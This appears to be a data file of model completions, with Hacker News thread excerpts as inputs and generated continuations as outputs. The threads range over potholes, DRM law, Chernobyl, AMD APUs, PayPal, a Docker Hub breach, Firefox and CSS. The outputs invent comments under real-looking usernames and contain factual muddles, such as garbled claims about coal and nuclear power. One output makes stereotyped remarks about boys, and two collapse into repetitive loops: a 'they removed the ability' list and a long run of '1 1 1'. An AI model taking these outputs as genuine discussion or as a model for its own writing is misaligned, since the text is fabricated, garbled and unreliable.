want to introduce Cramer's rule\nmonths after you finished treating matrices as stepping stones to solving\nlinear equations.\n\nThe book does cover vector spaces, although in a bit of a dance around not\ncovering abstract algebra. I'm not sure it's an effective introduction of\nvector spaces, although it could well suffice to ease the pedagogical trap\nmentioned earlier. On the other hand, if it's going to dive that far into\nvector spaces, it would probably be helpful to have some more sections on\nmatrices over fields that aren't real numbers (i.e., complex numbers (make\nsure to mention conjugate transpose and Hermitian matrices!),"} +{"output_text": " geo-coding the potholes. Then, Domino's would\nautomatically match up pothole-purchasers with the nearest construction crew\nand have the pothole filled in.\n\n~~~\njamespitts\nI think this is a great idea. I'm surprised it hasn't been done before.\n\n------\njamespitts\nI love the idea of a digital currency for potholes. I wonder if there would be\nany", "input_text": " politicians\nshoveling money to labor unions and a few firms\".\n\nEverywhere you look there are excludable roads. Everywhere you see traffic\ncongestion, you see rivalry.\n\nRoads are not public goods, even if you feel like governments ought to own\nthem.\n\n------\nbobthepanda\nHorrifying that the state of public works in America has come to this.\n\n~~~\nfein\nYour comment is proof that Domino's marketing team is pretty good.\n\nHell, even the existence of this post on HN is basically some confirmation\nthat hail corporate bullshit slips past this crowd.\n\nDon't buy the PR wank folks, this is just an ad masquerading as some noble\neffort.\n\n~~~\npavel_lishin\nWhat are you on about? The person you're responding to isn't running out to\nget a Domino's tattoo; they're pointing out that there are places in America\nthat are cash-strapped enough that they're willing to accept corporate\nsponsorship to provide basic government services.\n\n~~~\nribs\nThe roads were shitty when I was a kid and they\u2019re shitty now. No big apparent\nchange to me.\n\n~~~\nuntog\nAnecdotes are not data\n\n------\nbeenBoutIT\nAs much as I like what Domino's is doing here, it irks me that they didn't\nflush the idea all-the-way out. Domino's could have easily made an app that\nwould allow users to manually fill-in potholes in exchange for piping-hot\nDomino's Pizza and sides. Imagine chronically unemployed individuals from all\nwalks of life diligently scouring the streets looking for potholes.\nDocumenting, geotagging and"} +{"output_text": " copyrightable works\ncan be circumvention tools. On the other hand, the fair use doctrine allows\nfor the \"reproduction\" of copyrighted works for non-commercial purposes.\n\nSo, to quote the EFF again:\n\n\"The law is clear: If you want to play with DeCSS, you\u2019re going to jail. But\nif you\u2019re a game developer, you\u2019re in the clear. This is a problem. The DMCA\nsays that", "input_text": " I need streaming for work basically and\nonline radio is better. For example I like RadioParadise.com, they are ads\nfree.\n\nBitching about DRM to let other people know about its problems is cool, but\neven cooler is voting with your wallet.\n\n~~~\nabawany\nI agree. I signed up for an Audible trial not realizing the extent of their\nappalling trash-fire DRM. In summary, you have to run their app on a device\nthey support to be able to listen to their content. Shocking since my local\nlibrary lets me check out audio books with fewer restrictions. Needless to say\nthat in spite of their very-nice electronic pleadings, I canceled the trial\npromptly.\n\n------\nmadaxe_again\nIt appears the EFF intend to fight section 1201 (thou shalt not circumvent) on\nfirst amendment free speech arguments, and on the idea that punishment for\ncircumvention creates a chilling effect.\n\nI don't think a court will buy it. They'll argue that 1201 protects the free\nspeech of content creators, and that it works as intended - and they will cite\nthe decss appeal, which was won by the media giants on the same argument.\n[https://www.2600.com/news/112801-files/universal.html](https://www.2600.com/news/112801-files/universal.html)\n\n~~~\nriskable\nI think part of the argument the EFF will make is that section 1201 is\ninherently in conflict with itself in regards to fair use (an argument which\nwas explicitly _not_ ruled upon in the DeCSS court case) and free speech (to a\nlesser extent). On the one hand the DMCA states that no"} +{"output_text": "\nStalinist purges).\n\n~~~\npjc50\nThe firemen were sent in to put out the fire, not to clean up the mess.\n\n(I was there, and the fire was put out by the firemen, but the situation was\nfar from under control.)\n\n~~~\nIgorPartola\nI stand corrected. I was thinking of the military.\n\n------\njokoon\nI wonder if the US has nuclear power plants,", "input_text": "VFQU)\n\n~~~\nghshephard\nI'll admit when she started digging in (with her bare hands) getting excited\nabout 3 milliseverts/hour I had to jump over to\n[http://xkcd.com/radiation/](http://xkcd.com/radiation/) to find out how\nworrisome it was.\n\nI was also a little concerned that she had a runny nose, and kept rubbing her\nnose with that hand...\n\nBut apparently, 2 milliseverts (her exposure in an hour) is about what you\nwould get from a CT scan. US Radiation Workers are allowed up to 50\nmilliseverts.\n\nThough, at the end, when she has it fully uncovered, and is measuring 17\nmilliseverts/hour, and expositing on how beautiful it is...\n\n------\nIgorPartola\nI was born in Kharkiv just over a month before the Chernobyl accident. Never\nbeen to Pripyat, but have seen lots of photos and since I grew up in Ukraine I\ncan place it in context. The real tragedy of Chernobyl was not even the\naccident itself (which was a result of stupidity and zeal IMO), but the\nmultiple attempts at ass covering by those in charge. You see, those in charge\ndid not want to start a panic or look bad. They sent in firefighters without\ntelling them what they were going into. They did not evacuate affected areas\nquickly enough. They did not alert neighboring regions of the fallout that was\ncoming their way. Innocent people died because they were unable to admit their\nwrongdoing. This is definitely the USSR way of doing things and the reason it\ncould never survive: it kept sacrificing people for ideals (well that and the"} +{"output_text": " CPUs.\n\n~~~\njrockway\nI don't think this is true. The problem is that laptops have a lot of\nperipherals. If you disable the GPU and only use the CPU, the laptop will\nstill be able to run the same way. The battery life will be better, and the\nprice will be the same.\n\n~~~\nOut_of_Characte\nI get that. But the problem is that the CPU and GPU are always", "input_text": " graphics inside. So we\nare gonna to expect some more powerful G line APUs in the future too I\nguess...\n\n~~~\nmagicalhippo\nYeah hoping to see something like that soon, will be pretty awesome I think.\n\n------\ndarksaints\nAnybody know of any companies planning to ship these in a NUC-style form\nfactor?\n\n~~~\nalimbada\nASRock did the DeskMini A300 last year which was quite popular. I'm hoping\nthey will refresh it with an updated motherboard for the new APUs coming this\nyear.\n\n~~~\nllampx\nIt was the only one I believe. I'm still on the lookout for a good MiniPC\nsolution that doesn't have compromises like a soldered CPU or requiring\nSODIMMs etc.\n\n------\nest\nI'm looking forward to build a mini HTPC with this. Hope it can handle 8K HDR\nencode/decode well.\n\n------\nrurban\nI got the previous 3000 Ryzen edition on my new cheap Lenovo, and it kills all\nmy big Intel machines in all benchmarks. It cannot use it for benchmarking, as\nit drops frequencies from 4.3 to 1.5 as it likes (or does temp. freezes) but\nfor testing and dev the AMD works wonders.\n\n------\njwildeboer\nSince when are CPUs called APU?\n\n~~~\nbob1029\nAPU = CPU + GPU in a single package or die.\n\n------\nOut_of_Characte\nThese APU's wont fix todays problems in Laptops. Idle power consumption is\nlargely due to all components together. bigger batteries are only more\nexpensive. I'm still waiting for more efficient"} +{"output_text": "------\njelliclesfarm\nI think the author is making a mistake by assuming that the gender gap is\nalways bad.\n\nI think the author is also making a mistake by assuming that the gender gap is\nalways bad because of the \"war on boys\".\n\nI think the gender gap is a good thing.\n\nBoys are more likely to be risk-averse.\n\nBoys are more likely to be socially awkward.\n\nBoys are more", "input_text": "kius\nI find the underlying premise of this article and the claim that there is a\n\"war on boys\" absurd. It's a old argument from the same old set of people who\nhave the same old intolerant (and dying) paradigm.\n\nNot sure why it is on HN at all as the content has nothing to do with tech...\n\n~~~\nccernaf\nI'm pretty disappointed in the article and the comments, and how like Reddit\nthis website is turning out to be. I'm not going to make any judgements\n(though I really really am), but this same article has been posted to 10\nsubreddits, among them such gems as: SJWsAtWork, ThisIsNotASafeSpace, sjsucks,\nand sjwhate.\n\n~~~\nbmelton\nNot affiliated (except that I follow him on Twitter), but the author, Jonathan\nHaidt, is one of America's pre-eminent social psychologists. He is (or at\nleast was) a liberal who has engaged in some very serious social psychology\nthat gives massive insight into how people tick, especially where those ticks\nare related to or concerning political party affiliations.\n\nIf the idea is to dismiss him as an anti-SJW, or anti-free speech, then I\nwould posit that you're simply inclined to dismiss no matter what. If the\ncomplaint is that his work is spreading to, or being adopted by the anti-SJW\ncrowd, that's hardly his fault.\n\nHe may not be right, or he may not have done appropriate research, or he may\nbe based (his own studies would suggest that it's inevitable that he is), but\nany dismissal predicated in part on that he's trolling is almost certainly\nknee-jerk.\n\n"} +{"output_text": "\nhave to use Angular or React.\n\nThe other half of your test suite is writing assertions that you can write in\nplain old JavaScript. You can use jQuery to select elements and check their\nproperties, and you can use the JavaScript object model to check for existence\nand type, and check that the values of properties are what you expect.\n\n~~~\nmikece\nThanks for the recommendation. I've seen that talk but hadn't heard the\n\"imperative shell", "input_text": " test core user interactions\n(e.g. user can create foo) with e2e tests, and edge-cases with unit tests.\nThese tests will be clicking around and sending keys to inputs and eventually\nreach some state that confirms that the action was successful. Among all the\nstates that were traversed, how many things will you validate (e.g. check that\nthe link the user clicks is in a list, check that in the final state he can\nview all of foo's information)? And how in depth? (e.g. checking that #foo\ncontains all of foo's information, or checking that #foo contains.bar,.baz,\n.qux, and that each contains part of foo's information)\n\nI've figured out some patterns and guidelines over time, but some of these\ntests tend to feel brittle or useless.\n\n~~~\nzachrose\nForgive me for being vague and brief, but I've been trying to test my UIs for\nthe last year or so and this is what I've come up with.\n\nI've found the ideas in Gary Bernhardt's talk, Boundaries (1), to be very\nhelpful in figuring out how to test interactive web UIs. The basic idea is\nthat DOM manipulation can be an \"imperative shell\" with as little logic and as\nfew conditionals as possible. Derive the state of your UI component with\nseparate functions and methods that return plain values (a \"functional core\"),\nand write tests for those because testing for values is easy.\n\nSo no, don't test for the presence of classes and IDs. Test your imperative\nshell once, maybe even manually or with an integration test, and that's\nprobably enough.\n\nAngular and React both encourage something like this approach, but you don't"} +{"output_text": " people with\nmobility issues. I live in Hamburg and I have to drive everywhere. I have to\ntake public transport to get to the city center and then take a cab or a\nU-Bahn to my apartment. This is very time consuming and expensive.\n\n~~~\npionar\nI'm in Hamburg as well and I have to take public transport to get to the city\ncenter as well. I live in a suburb and have to take the train to the city", "input_text": ", it does not plan to ban all cars.\n\nSee their official statement (in German): [http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bs...](http://www.hamburg.de/pressearchiv-\nfhh/4257482/2014-01-24-bsu-keine-autofreie-stadt/)\n\n~~~\njraedisch\nAs a resident of Hamburg I can assure you it will not become a car-free city\nwithin the next 20 years. So far, we don't even have an \"Umweltzone\" (green or\nenvironmental friendly zone) where only cars maintaining certain filtering and\nmileage standards are allowed to drive.\n\n------\npanic\n_The goal of Hamburg\u2019s project is to replace roads with a \u201cgruenes netz\u201d or a\ngreen network of interconnected open areas covering 40% of the city. According\nto the official website, parks, playgrounds, sports fields, allotments and\ncemeteries will be connected to form a network, which will allow people to\nnavigate through the city without the use of cars._\n\nWhy not just let people walk on the roads? Places like cemeteries and parks\ncan be quite creepy to walk through, especially at night. Roads next to\nbuildings with people in them are a more comfortable place to walk.\n\n~~~\nbalabaster\nIs that just because that isn't the norm? If it was quite normal to walk\nthrough a cemetery or park at night, would it still be as creepy or is it just\nbecause of the proliferation of ghost and paranormal stories...?\n\n------\ntdyen\nIm surprised so few of the comments deal with disabled people or"} +{"output_text": " fuel use.\n\n~~~\nmikeash\n> Coal, nuclear, natural gas are all delivering stable supply 24/7.\n\nCoal and nuclear are delivering a constant output, but it's variable. Nuclear\nhas a small amount of reserve capacity, and when it's online it's very\nexpensive. Coal and nuclear are also very expensive to build, which means\nthey're not going to be cheap for a while.\n\nNuclear is also a major source of radioactive", "input_text": " you\nand me are expecting to make fortunes on this. That says more than any numbers\nI could throw at you.\n\n~~~\ngridlockd\n> Without going back and digging for sources (google it yourself), existing\n> nuclear costs about $100/Mwh. Coal is around there, too (this is round\n> number, different sources have slight variations). Onshore wind and natural\n> gas are currently pushing $40, and PV solar is under $60 and dropping\n> rapidly.\n\nSo what? This is an apples-to-oranges comparison. Coal, nuclear, natural gas\nare all delivering stable supply 24/7\\. PV and Wind are highly volatile both\nintraday and seasonally. Why don't you add in the cost of storage?\n\n> We have a couple of decades of data on wind consistency and variation,\n> scaling from minutes to years - enough data to do very reliable projections\n> on storage needs. Solar has a consistent schedule, which also helps\n> projection, and of course we know loads. So computing just how much storage\n> is needed is a straightforward exercise.\n\nComputing the cost is not the problem. Paying the cost is the problem:\n\n[https://www.pv-magazine.com/2019/08/12/new-us-study-finds-\nre...](https://www.pv-magazine.com/2019/08/12/new-us-study-finds-renewable-\nenergy-storage-costs-need-to-drop-90/)\n\n> A lot of people who are smarter with money and know the field more than you\n> and me are expecting to make fortunes on this.\n\nIt's a reasonably safe bet that western governments will push green energy and\npenalize fossil"} +{"output_text": "you_ should expect to live among one of the more populous species.\n\n------\njfk13\n\"The largest rock in the universe is not a sign of life\" (tm)\n\n~~~\njfk13\nI'm not sure why the downvote queue is so full today.\n\n~~~\nDanBC\nI think this is a bad article.\n\nIt's not wrong, but it's not correct.\n\nIt's not even wrong,", "input_text": "'ve got more pressing issues than\nto debate the statistical likelihood of the size of the rock or it's expected\nmineral composition.\n\n~~~\nnickcano\nYes, and those more pressing issues are among spending time debating why it's\nnot worthwhile to spend time debating a topic that is less pressing than the\ndebate about the time it takes, apparently.\n\n------\nJumpCrisscross\nWhy isn't the conclusion \"our population size is the most frequent\" versus\n\"largest\"?\n\n~~~\nrory\nI think he's approaching it from the assumption that a sentient being should\nassume itself to be a random individual out of all the sentient beings in\nexistence, across all sentient species.\n\n~~~\nJumpCrisscross\nDoesn't that ignore the obvious (and known _a priori_ ) correlation between\nsentient beings in a species?\n\n------\nsrcreigh\nThe idea of interplanetary species seems to invalidate this website in one\nfell swoop.\n\n------\nandrewclunn\nWrong. We have no notion if we are more or less populas than other species, so\nwe should assome that we are one of the many smaller (in number) by virtue of\nthat being the more common, thus drawing the exact opposite conclusions.\n\n~~~\ndeciplex\nThat's what we should expect to see when looking for other _planets_ with\nintelligent life. But _you_, andrewclunn, should expect to live among one of\nthe more populous species.\n\n~~~\nandrewclunn\nThat's the point, from the individual's perspective the correct prediction is\ncompletely contrary to that from the species' perspective based on this\napproach.\n\n~~~\ndeciplex\nRight. So _"} +{"output_text": " there.\n\n------\njoeevans1000\nPayPal is the only global payment system that I know of that is as simple to\nuse as a regular online payment service. I've tried others and they require\nmore know-how of the user to use them effectively.\n\n------\njoeevans1000\nI'm curious why this was down voted. I'm not sure why this is seen as\nargumentative.\n\n~~~\nchris2brooks\n", "input_text": " than the wire transfer charges. There has been always this promise of low cost international transactions but no one seems to dethrone Paypal (or is it just my bias? ).

Extra: What goes into building a international payments service like Paypal?\n======\nfeistypharit\nBecause nobody else has a \"buy now\" button that is so simple to be plopped\nonto a static site and doesn't have a monthly fee. Stripe requires a back end\nand a fee. Shopify has a monthly fee. If you're doing low volume, that fee\nadds up.\n\n~~~\nitake\nthere are a few \"buy me a coffee\" websites that basically act as a middle man\nfor stripe that take 2-3% fee.\n\n~~~\nfeistypharit\nOn top of stripes 2.9 percent fee?\n\n~~~\nitake\nThese guys charge 5%, which I think includes the stripe fee, but no monthly\nfees.\n\n[https://www.buymeacoffee.com/faq](https://www.buymeacoffee.com/faq)\n\nI have seen other people post similar products with lower fees.\n\n------\nchris2brooks\nBecause in the \"Third World\" countries, PayPal may and sometimes is the only\nway to get foreign payments OR it's the only supported integration in many\nSAAS and apps. Many WordPress integrations has Stripe and PayPal as the only\noptions. I'd love to pay less than 5% but in a cruel world I'd also rather pay\n5% and get global income than to settle for less and no global option.\n\nFor instance here in South Africa, Stripe is not supported. As much as I would\nlove to rather use Stripe it's just not"} +{"output_text": " load the same page I got a 404 for before.\n\n------\njokoon\nI'm not sure if this is true, but I think that the book \"1984\" was a satire of\nthe book \"Brave New World\".\n\nI think that Orwell was more pessimistic about the future, but I think that\nHuxley was more optimistic.\n\n~~~\njokoon\nI think that Orwell's book was more pessimistic, but I", "input_text": " providing search and curated results! Wish them all\nwell)\n\nI know what you mean though. It is definitely a sign of our times. Huxley won\nand Orwell lost the crystal ball gazing contest. 1984 is gone (well, not\nentirely IMO) and we are all living in the Brave new world now. ;-P\n\n------\nyarapavan\nFull List (PDF):\n[http://static.googleusercontent.com/external_content/untrust...](http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en//zeitgeist/2012/download/google-\nzeitgeist-2012-en.pdf)\n\n~~~\nkillahpriest\nIronically, I cant seem to be able to use `cmd + f` on that PDF.\n\n~~~\nsmackfu\nYeah, very odd. It seems like the characters in the search index are offset\nfrom the real characters. d=a, e=b, etc. At least in Chrome's PDF viewer.\n\n------\nbenburleson\nWhy do I get Error 503?\n\n~~~\nspeedyrev\nSo am I.\n\n------\ncorporalagumbo\nMy main thought watching the video: \"Holt shit that is some good advertising.\"\nA slickly-produced, epic, emotional and humble tribute to the richness and\nabsurdity of human life - all inconspicuously presented through a panorama of\nGoogle's entire product portfolio - tying the sweeping feelings stirred in you\neither consciously or subconsciously to everything Google...\n\n------\nscotty79\nFails on iPad with 404 after watching the movie and clicking the \"Begin\njourney\" button. It tries to"} +{"output_text": "Docker is not just an implementation detail. It is the main implementation\ndetail for many companies.\n\n~~~\ngigatexal\nI guess I\u2019m not seeing the relevance of k8s outside of some companies. I\u2019m not\nseeing the relevance of docker outside of some companies either.\n\n~~~\nfriedrichg\nI think you underestimate the popularity of Docker.\n\n~~~\ngigatexal\nI\u2019m not sure I do. I\u2019m", "input_text": " of the are using a md5sum\nonly then you're screwed with rainbow tables.\n\n~~~\nunfunco\nI'm going to go out on a limb and say Docker are unlikely to be using MD5,\nsalted or otherwise.\n\n~~~\ntechntoke\nAgreed.\n\n------\nankushnarula\nDocker has revoked GitHub and BitBucket access tokens tokens at least as of 27\nApr 2019 18:41:36 UTC\n\n[http://archive.fo/bKGKq](http://archive.fo/bKGKq)\n\n------\npyman\nLet me get this right, Docker now forces users to register in order to\ndownload their client and they don't secure our data? Insane!\n\n------\nzoobab\nError 500 when I try to login:\n\n\"Sorry, it's not you. It's us, but we are working on it!\"\n\n------\nskilled\nSo, would it have been possible that the perpetrators knew about the keys and\nhad built a way to scan them all beforehand? Or is this more likely to be an\nattempt at farming passwords?\n\n------\nvillgax\nhash+salt please\n\n------\narjamizo\nyou guys should partner with github to disable those token which have leaked\n\n------\ngigatexal\nDoes this lessen the relevance that docker has these days?\n\n~~~\nviraptor\nDid Docker become any less useful for you due to this, or provides less value?\nUnlikely.\n\n~~~\ngigatexal\nI\u2019m thinking twice about using docker hub.\n\nAnd the main usecase is k8s. So docker is just an implementation detail its\nrelevancy is waning imo\n\n~~~\nfriedrichg\n"} +{"output_text": " about whether I think that the right to a lawyer\nshould be absolute, but I do think that the right to consult a lawyer _should\nbe_ as soon as the case is in the hands of prosecutors.\n\n~~~\nthrowaway_9\nThe right to a lawyer is a fundamental right, and should be absolute.\n\n~~~\nnoego\nI agree that it's a fundamental right, but I don't think that it should be\nabsolute. In the US, the", "input_text": ", the word \"torture\" becomes synonymous with \"discomfort\" or \"to annoy\"\nand would, IMO, lose all utility from a legal point of view.\n\nIn the final analysis, what this boils down to is that the world does not\nexist to serve your desires. Unpleasant things can and will happen to you.\nEven being asked questions you don't want to answer in situations where you\ncannot leave. While an individual may never have experienced anything more\nunpleasant than that, and thus it feels horrible to them, the fact is that\nthere are far far FAR more unpleasant experiences that millions of others have\nfaced. Society does not owe the sheltered more than the less sheltered.\n\n~~~\nedmundsauto\nIt makes more sense if you think of torture as a gradient, not a binary.\n\n2 hours of questioning in a room? Not that torturous. 60 days, 12 hours a day,\neven if your basic needs are met? Pretty bad.\n\n------\nnoego\n> _During detention, both were subject to extensive questioning by prosecutors\n> without an attorney present. Videotapes of Ghosn\u2019s questioning \u2014 a new\n> feature added in the Criminal Procedure Reform law in 2016 in direct\n> response to documented abuses \u2014 were made available to his attorneys who\n> were present at the detention center, but lawyers were not permitted in the\n> room where questioning took place._\n\n> _The system must change._\n\n> _First, every suspect should have the right to consult a lawyer as soon as\n> the case is in the hands of prosecutors, and questioning should be\n> prohibited in the absence of an attorney._\n\nThe article makes no attempt whatsoever to explain why the above change \"must\"\nbe made. I'm on the fence"} +{"output_text": ", they removed the ability to set the default search\nengine, they removed the ability to set the default home page, they removed\nthe ability to set the default new tab page, they removed the ability to set\nthe default search engine for new tabs, they removed the ability to set the\ndefault home page for new tabs, they removed the ability to set the default\nnewtab page for new tabs, they removed the ability to set the default search\nengine for new sites, they removed", "input_text": " do\nthey have to change?\n\nMan, it almost seems like we've been here before..\n\n~~~\nsmhg\nMozilla \"walked away\" from a platform that doesn't allow Firefox. I don't\nthink you can blame them for not doing what Google did with Chrome for iOS.\n\n~~~\nironsides\nFirst, I don't blame them, but wonder if more could not have been done.\nHowever, I do appreciate how that is your only take away. Kudos.\n\n------\naurora72\nNo other browser can beat Firefox, because all the others including Vivaldi\nare RAM hungry, GPU and CPU abuser show-offs. I don't even talk about their\ndictative approaches such as minimal feature UI, unauthorized update daemons\nrunnin on background, etc. Firefix does have an Android version and it works\ngreat on my 2010 HTC phone, it doesn't dictate a minimum version of Android or\nsomething.\n\nIf the majority of users aren't familiar with such concepts than I don't need\nto worry on Mozilla's side because they don't do something fundamentally\nwrong.\n\n------\ntarminian\nOnly thing I use chrome for is netflix and web testing. Otherwise it is\nFirefox all the way baby!\n\n------\nbyuu\nWho knew that continually ignoring your userbase and changing things in ways\nthey don't like for roughly a decade could have negative consequences?\n\nThe list is getting too long for me to even remember, but I'll try: they moved\ntabs to the top (can't even toggle it via about:config anymore), they killed\nregular download dialogs, they killed the regular status bar, they removed the\nability to keep browser history but not keep download history, they radically\nchanged their address bar"} +{"output_text": " this reason. I don't want to have to\nworry about what the compiler thinks I'm doing. I want to write my CSS the way\nI want to write it.\n\n~~~\nianstormtaylor\nThen don't use a preprocessor. There are plenty of reasons to avoid them.\n\n~~~\nxauron\nI don't. I use SCSS and have for years. I don't see the point in using a\npreprocessor for something as simple", "input_text": " more maintainable) then\nyou don't have that problem.\n\nThe other solution is to strictly version your mixins using something like\nComponent and maintain your mixins in a separate repository on GitHub that\ngets versioned, then that also works because each other component can peg the\nversion of the mixin it is using.\n\n\\---\n\nMy big takeaway from CSS though is that none of the solutions for it are nice\nright now. And most of these problems should disappear (I think) with proper\nnative extension.\n\n~~~\nwallunit\nYou can use LESS's nested syntax in order to generate prefixed CSS classes\ninstead of nested CSS selectors, if you prefer them. That gives you the\nadvantage of prefixed CSS classes, but you don't have to repeat the prefix and\nyou have all classes with the same prefix grouped together, which IMHO makes\nlarge projects easier to maintain.\n\n \n \n .textfield {\n &-label {\n ...\n }\n &-input {\n ...\n }\n }\n\n~~~\nianstormtaylor\nThat is pretty cool. I think generally that the components themselves should\nbe more limited in functionality to the point where it's just not that big of\na deal to write out `textfield` two more times. As in, I think it's optimizing\nfor a case that isn't that important. If you write a component, the number of\ntimes you're going to change the root class name of the component is very\nsmall, so it doesn't need quick rename-ability. And then the number of nested\nelements inside of it should also be small, so you don't have that many gains\nthere either.\n\n------\nxauronx\nI've avoided the CSS preprocessors for"} +{"output_text": " example, we have a referendum every 5 years.\n\n~~~\nRoboprog\nRe: the UK, yes, we have a referendum every 5 years. (I'm not British, but\nhave been following the UK election campaigns, and have been very impressed\nwith the UK's \"first-world\" elections process, including the use of\n\"experts\" to provide \"independent\" advice to the voters.)\n\nThe US system is a complete mess, and the US Supreme", "input_text": " don't trust the government with an internet kill switch.\n\n------\nArdit20\nThat is a bit Kafkaesque.\n\nEveryone has the right to know why their right is being denied or what they\nare being charged with. If it was a privet firm then fine, but the government\ncan't just go around closing websites without saying if not in detail then in\ngeneral what the charges are. How, if the website owner is wronged, is he able\nto challenge the decision if he does not even know what the allegations are\nagainst him.\n\n~~~\nRoboprog\nWhat you say was more or less true in 2000. Things have changed a bit since\nthen. The fact that many recent laws and programs obviously defy the first ten\namendments to the US Constitution have gone \"unnoticed\" by the SCOTUS, and\nboth major brands (D & R) seem content with how things have developed the last\ndecade.\n\n\"We the rabble\" are likely in for a 10 year slog to fix things, if we are\nlucky: paper ballots; some kind of coalition or runoff voting rule changes to\ntake down the \"two\" party system; reestablishment of the rule of law.\n\n~~~\nArdit20\nI am sorry. I can not quite agree with that. I do not know about the united\nstates, but here in the united kingdom we have a very independent judiciary\nwhich has ruled against the government time and time again.\n\nI do agree in a way, just before Tony Blair left, which I think was 2008 or\n2007 things seemed to be going in a very dark direction, but frankly, it is\nthe peoples fault.\n\nWe are so lucky as to be able to change government without bloodshed and in\nthe UK for"} +{"output_text": "Neutron) cluster with 5 nodes (2.5 GHz Intel\nXeon E5-2680, 64 GB RAM, 1TB NVMe SSD per node).\n\nWe are a small research institute (~200 employees) and we need to host a\nlimited number of scientific applications. We have a few use cases in mind,\nbut we are also interested in the public cloud.\n\nOur experience is that Openstack is not really that easy to operate.\n\n\\-", "input_text": ".\n\n(though the second half of that sentence will probably be written on my self-\ncarved tombstone)\n\n~~~\nfoobiekr\nThe use case I described - Skyport's cloud managed secure servers - needs\nsuper high quality, self-recovering embedded code that made no assumptions\nabout the network being high quality or reliable.\n\nI think the thing people - and especially the OpenStack guys - don't\nappreciate is how terrible it is to (a) lose a workload or (b) require someone\nvisit the datacenter (which may actually be a colo in another state or hours\ndrive away). Having to fall back to some sort of terrible insecure management\nlike IPMI or a dedicated mandatory management network (of questionable\nsecurity), etc. is just not viable.\n\nSystems and infrastructure architectures need to address a few things that\nreally matter - error handling, continuous self monitoring, state compression\nand linear, systematic self-recovery - and while some OpenStack components\nhandle this (ceph is pretty great except for a few things around access\ncontrol and security) the whole doesn't handle them well at all. It's not\nenough to log a message (or worse, just log an exception stack).\n\n~~~\ntraf68\nI find your expectations to be unreasonably high. The self correcting system\nis a fiction and will always be a fiction. The indefatigable infrastructure\nthat corrects the errant member system with 5 9s is a fiction and will always\nbe a fiction.\n\n~~~\nfoobiekr\nIt is a fiction but the answer is not to throw your hands up and ignore the\nproblem.\n\n------\ntimeu\nWe (scientific research institute) are currently operating a relatively small\ncommercially supported Openstack ("} +{"output_text": " was the only one who had any assembly experience, and I was the only\n Finn.\n\n------\njancsika\n> _The game industry is not for everyone, but it\u2019s a great way to make a\n> living if you\u2019re passionate about games._\n\nI think this is a very important point. I know it's clich\u00e9, but it's also\ntrue.\n\nI've been programming for over 20 years now. I started out on", "input_text": " Mostly I hear about people getting into the game industry. Some of my\nfavorites of note: Some of the Future Crew guys went on to make Remedy\nEntertainment (and made Max Payne and Alex Wake games, among others) and Rovio\n(makers of Angry Birds) was started by some TPOLM people.\n\n~~~\nb3lvedere\nI loved Purple Motions music back then. He's still awesome:\n[https://en.wikipedia.org/wiki/Jonne_Valtonen](https://en.wikipedia.org/wiki/Jonne_Valtonen)\n\n------\nb3lvedere\nThis brings back some fun memories. Back in 94 i attended the Assembly in\nHelsinki, Finland. Amazing people with incredible potential.\n\n~~~\n_0ffh\nThat's funny, because so did I! =)\n\n~~~\nb3lvedere\nMaybe we saw each other :)\n\nThe group i was with reached 5th place with this demo:\n[http://www.pouet.net/prod.php?which=41739](http://www.pouet.net/prod.php?which=41739)\n\n~~~\n_0ffh\nMaybe we did, who can say? I was not attached at the time, and didn't have\nanything prepared. Did a little on-site 4K though. Started out with Turbo\nPascal, and then migrated to hand coded assembler on a function-by-function\nbasis until I ended up with pure asm. Then did a bit of whole-programme\noptimisation, mostly the parameter handling. T'was kind of a shitty prod, but\nfun. Didn't even need a packer.\n\nIIRC I"} +{"output_text": " their own salespeople, but\nstill...\n\n~~~\nchasely\nIt's a very bad idea from a customer experience perspective.\n\nBut from a business perspective, it's a very good idea.\n\nFor one, it's a low cost sales channel. For another, it's a way to reach\npeople who wouldn't otherwise buy from a big box store. For a third, it\nprovides a way to test new products without having to invest in a large", "input_text": " _The CEO also confirmed that Tesla didn\u2019t renew its contract with Home Depot\n> to sell its energy products at their stores.\n\nTesla energy advisors were supposed to be at 800 Home Depots across the US\nearlier this year._\n\nIf they had 3.5 employees per store, and a team of 200 managing the entire\neffort, these layoffs could be attributed entirely to the lost Home Depot\ndeal.\n\n~~~\nDiabloD3\nI wasn't even aware they HAD a contract.\n\nMy local Home Depot has zero mention of any product Tesla makes.\n\n~~~\nchasely\nI was approached by a Tesla contractor in Home Depot on a few days ago. It was\nhonestly not a good experience.\n\nFor one, I was approached cold. I too had no idea that they had this\nagreement, so I was looking at something when someone came up and asked me\nsomething like \"what type of project are you working on?\" So I naturally just\ndescribed what I was doing and before realizing this was not a HD employee.\n\nHe asks me if I thought about solar and whatever, but it wasn't relevant to my\nsituation (roof slope orients E/W at the 45th latitude, so not great for\nsolar). He goes on his way.\n\nIt was just a weird experience. I wasn't in a department related to\nelectricity or solar, and they had no displays indicating a partnership with\nTesla or that you may be cold-approached by a Tesla employee.\n\n~~~\nRankingMember\nI still can't believe retail establishments think it's a good idea to degrade\nthe customer experience by letting third-party salespeople rove their stores.\nI know Home Depot et al are making money from"} +{"output_text": "1]\n\nThe Morse code for \"e-t-e-r-r-y\" is 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\n1 1 1 1 1 1 1 1 1 1 1 1 1", "input_text": "\nSee it as a process.\n\nHow do you create good stuff? By creating lots of stuff, enjoying the process\nand some of it will turn out ok, some good, some bad. Like a musician. Just\nfocus on getting better. Your workflows for launching etc. See it as feedback\nnot a definition or critique of you.\n\n------\ntom5\nI think it is more about paradox instead of fear.\n\na)you want to add enough features to attract/impress potential users. b)you\nwant to ship it, so you can get feedback asap.\n\na) and b) are pulling to opposite directions, hence the paradox. There is no\neasy solution for this.\n\nHowever, if you change the question to \"what do I need to build to test my\nassumptions (about the market and user)\", the answer will be more obvious.\n\n------\niisbum\nNever really had a problem with shipping things, guess I'm pretty thick\nskinned, but I try and remember that feedback, good or bad is better than\nbuilding in a vacuum.\n\n------\nbostand\nBy shipping.\n\nThe are tons of issues that show up only after you have shipped so striving\nfor perfection before shipping is pointless.\n\n \nThe Art and Skill of Radio-Telegraphy 3rd Edition [pdf] - pmoriarty\nhttp://cw.hfradio.org/cw_resources/The_Art_and_Skill_of_Radio_Telegraphy-3rd-edition.pdf\n======\nAnimats\nIf you want to listen to some Morse code, the ARRL 